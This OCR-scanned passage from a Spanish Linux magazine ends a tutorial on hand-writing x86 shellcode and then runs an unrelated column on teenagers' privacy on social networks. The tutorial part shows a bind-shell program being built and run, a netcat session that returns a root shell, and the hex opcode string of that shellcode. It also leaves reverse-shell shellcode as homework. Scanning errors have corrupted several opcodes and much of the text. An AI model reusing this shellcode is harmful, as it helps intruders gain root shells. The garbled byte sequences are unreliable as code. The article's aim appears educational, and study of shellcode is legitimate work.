mos, enlazamos y probamos el programa:

[CONSOLA 1]

$ nasm -f elf binp.asm
$ 1d binp.o -o binp

$ sudo ./binp

Este se quedara en un estado suspendido a la
espera de conexiones. En otra consola com-
probamos que el puerto estd a la escucha
y nos conectamos a €l para conseguir nues-
tra shell:

[CONSOLA 2]

$ nc localhost 48059
id
uid=0 (root) gid=0 (root)
groups=0 (root)

exit

Ahora podemos obtener los codigos de ope-
racion con objdump, y nos quedamos con lo
siguiente:

"\x31\xc0\x31\xdb\x31\xc9\x50\x6a\

x01\x6a\x02\x89\xel\xfe\xc3\xb0\x66\
xcd\x80"

www.lpmagazine.org
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"\x89\xc6\x52\x68\xbb\x02\xbb\xbb\
x89\xel\x6a\x10\x51\x56\x89\xel\xfe\
xc3\xb0"
"\x66\xcd\x80\x52\x56\x89\xel\xb3\
x04\xb0\x66\xcd\x80\x52\x52\x56\x89\
xel\xfe"
"\xc3\xb0\x66\xcd\x80\x89\xc3\x31\
xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\
x80\x41"
"\xb0\x3£f\xcd\x80\x52\x68\x2f\x2f\
x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\
x52\x53"

"\x89\xel\xb0\x0b\xcd\x80"

Y hasta aqui hemos llegado, en este articulo
no nos detendremos en explicar como crear
un shellcode de conexién inversa, aquella en
la cual es el host victima o atacado el que se
conecta al propio atacante. Eso te lo dejare-
mos como deberes a ti.

Conclusion

Buscar en Google un shellcode adaptado a tus
necesidades es algo eficiente, desde luego.
Sacarlo directamente de los que el framework
de Metasploit te puede proporcionar resulta
igual de confortable. Pero... jamas habra nada
comparable a programarlo con tus propias
manos.

Imaginate en un torneo en el que te po-
nen delante de una box con Linux sin acceso
a Internet y sin ninguna posibilidad de 1le-
var material de trabajo propio. Un programa
suid root vulnerable y tus manos vacias. La
Gnica forma de lograr hacerte con el sistema
es hacerlo todo t mismo, recuerda que Li-
nux te proporciona todas las herramientas
bésicas.

Entonces queda claro, el copiar-pegar es
para necios... &

D

Enlared

¢ Writing ia32 alphanumeric
shellcodes, by Rix:
http://www.phrack.org/issues.html?
issue=57&id=15#article,

¢ The Art of Writing Shellcode,
by Smiler:
http://gatheringofgray.com/docs/
INS/shellcode/art-shellcode.txt,

» Designing Shellcode Demystified,
by Murat:
http://gatheringofgray.com/docs/
INS/shellcode/sc-en-demistified.txt.
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en Espafa

‘Caperucita IP’ 0 cdmo vivir en las redes sociales

“Caperucita P’
0 cOmo Vivir en las
redes sociales

ada vez se estd hablando més de

los “peligros” de las redes so-

ciales para los menores, que han

encontrado ensitios como Face-
book o Tuenti una estupenda manera de ha-
cer amigos o de estar en contacto con los que
tienen, mientras estan en casa supuestamen-
te “estudiando”.

Los adultos han puesto el grito en el cielo,
pensando que eso es lo peor del mundo, que
les va a llevar a la depravacion mas absoluta
y que su informacion personal va a aparecer
hasta en el boletin parroquial.

No, ni tanto ni tan calvo. Hace 10 afios, el
concepto “red social” no existia, y los adolescen-
tes se comunicaban mediante otros sistemas,
tan probleméticos como los que hay ahora,
y con consecuencias tan malas como las de la
Web 2.0., pero como no salia en los telediarios,
no pasaba nada.

Todos, durante nuestra adolescencia, he-
mos pasado papelitos en clase (cuando el pro-
fesor no miraba) con un mensaje del tipo “fula-
nito se ha liado con menganita”. Ese papel iba
de mano en mano hasta que fulanito o menga-
nita se enteraban y, fuera cierto o no, se morian
de verglienza. Eso mismo se hace hoy en dia
en Tuenti y el Defensor del Menor abre una
investigacion de oficio por posible intromision
en la intimidad de los chavales y abre las noti-
cias de un programa de cotilleos.

No, no es eso. Hay que tener en cuenta que,
tal y como Marshall Mcluhan dijo, estamos en
una aldea global, y los cotilleos que antes no
salian (afortunadamente) del patio del colegio
o del instituto hoy estan en la pantalla que pue-
den ver papa, mama, los profesores y los del
colegio de enfrente.

Basta con hacer conscientes a los nifios de
qué es lo que estan haciendo, pero eso es tarea
poco menos que imposible. Si los adultos no so-
mos conscientes, ¢cOmo vamos a hacerles com-
prender a los chavales que deben tener cuida-
do? De vez en cuando aparecen noticias en las
que una persona ha revelado voluntariamente
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informacion personal que le ha traido conse-
cuencias muy negativas, como una trabajadora
que estando de baja iba contando sus aventuras
en Facebook, hasta que lo vio su jefe.

Todos tenemos distintos grupos con los que
nos relacionamos, y en cada uno de ellos adop-
tamos un determinado rol, absolutamente dis-
tinto del de al lado. No nos comportamos igual
en el trabajo, que de juerga con los amigos, que
de visita en casa de los suegros. Y no nos gusta-
ria que nuestro jefe hablara con nuestro suegro
de la juerga del sabado anterior. Y si lo hace-
mos sin darnos cuenta, pues mas adn lo haran
los nifios.

En general, se habla de mejorar la se-
guridad de las redes sociales para menores,
cuando el problema no es la seguridad, sino
la inteligencia. Hay que convencer a los ado-
lescentes de que su cuenta del Tuenti la pue-
de ver el profesor de matematicas, asi que no
debe hablar de él utilizando el mote. Y que
esa misma cuenta la ven sus compafieros de
clase, asi que més vale que no presuma de ser
el ligén del barrio cuando no se come ni un
colin.

Hace poco comentaba con un compafiero
esto mismo, y pensdbamos que falta un com-
ponente muy importante: la tradicion. A los
nifios se les ha contado el cuento de Caperuci-
ta Roja, y han aprendido que no deben hablar
con extrafios. O se les ha contado el cuento de
el pastorcito mentiroso y el lobo, y aprenden
a no mentir. ;Existe algln cuento en el que
se avise a los nifios que no deben descargar
complementos para el navegador que no estén
firmados digitalmente? ;Cudndo se encontra-
rd Caperucita Roja con un correo electrénico
supuestamente enviado por su banco que le
pide la contrasefia?

Si existieran esos cuentos o si las abuelas
supieran qué es un rootkit, las futuras genera-
ciones podrian tener una base educativa mu-
cho més sélida para enfrentarse a los proble-
mas de la sociedad actual. ¢Quién se anima
a escribir el cuento de Caperucita IP?
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